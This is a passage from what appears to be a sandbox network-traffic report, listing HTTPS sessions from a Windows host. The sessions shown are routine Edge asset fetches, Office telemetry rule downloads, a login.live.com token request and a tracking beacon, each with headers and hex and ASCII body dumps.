cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	54532	13.107.246.57	443	7728	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:34 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 05:23:34 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:34 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 174c0071-f01e-003d-08a2-34dd21000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T052334Z-16547b76f7f775p5hC1DFWzdvn0000000f2000000000n4yy Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-12 05:23:34 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	54533	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:34 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:34 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 43524bb3-601e-003e-69d2-2c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052334Z-16547b76f7frbg6bhC1DFWr5400000000f0000000000p32f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:35 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	54537	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:35 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 1ec43ba4-f01e-0003-65d2-2c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052335Z-16547b76f7frbg6bhC1DFWr5400000000f2g00000000bsz7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	54538	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:35 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: a176e845-e01e-0020-7fa1-34de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052335Z-15869dbbcc6sg5zbhC1DFWy5u8000000074g00000000afgd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	54540	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:35 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 229e582e-901e-0083-26d2-2cbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052335Z-16547b76f7ftdm8dhC1DFWs13g0000000f70000000005v42 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:35 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	54539	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:35 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:35 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 72e3f643-801e-007b-5dd2-2ce7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052335Z-16547b76f7fkj7j4hC1DFW0a9g0000000f5g000000009w8f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:35 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	54541	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:35 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-12 05:23:35 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-12 05:23:36 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 12 Nov 2024 05:22:35 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C530_BL2 x-ms-request-id: 63f9be55-c179-4cf9-a6f3-a92d44c923d3 PPServer: PPV: 30 H: BL02EPF0001D747 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 12 Nov 2024 05:23:35 GMT Connection: close Content-Length: 11392
2024-11-12 05:23:36 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	54542	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:35 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:35 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: c3d6966f-401e-0016-3ad8-2b53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052335Z-16547b76f7fkcrm9hC1DFWxdag0000000fag0000000066g7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:35 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	54547	13.107.246.45	443	7728	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:35 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:36 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:36 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 31833cf5-a01e-0070-33a3-34573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052336Z-17df447cdb5zfhrmhC1DFWh3300000000beg00000000dhtb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:36 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	54545	18.244.18.38	443	7728	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:35 UTC	925	OUT	GET /b?rn=1731389013838&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=39559DFC669A689A222688C967CD69C0&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 05:23:36 UTC	956	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Tue, 12 Nov 2024 05:23:36 GMT Location: /b2?rn=1731389013838&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=39559DFC669A689A222688C967CD69C0&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=15546d9e7161bb1576cd54f1731389016; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=15546d9e7161bb1576cd54f1731389016; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 1332d04637e8e8783a277613082f94d8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P11 X-Amz-Cf-Id: 1Hg6wtyAjxkRGci28WtXQ0wZh5MvFPF8oBp__KCL7BzIBHKOF4h0Vg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	54548	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:35 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:36 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:36 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 8a5e2199-d01e-0014-3f2b-2ced58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052336Z-16547b76f7fr28cchC1DFWnuws0000000fb00000000057hp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:36 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 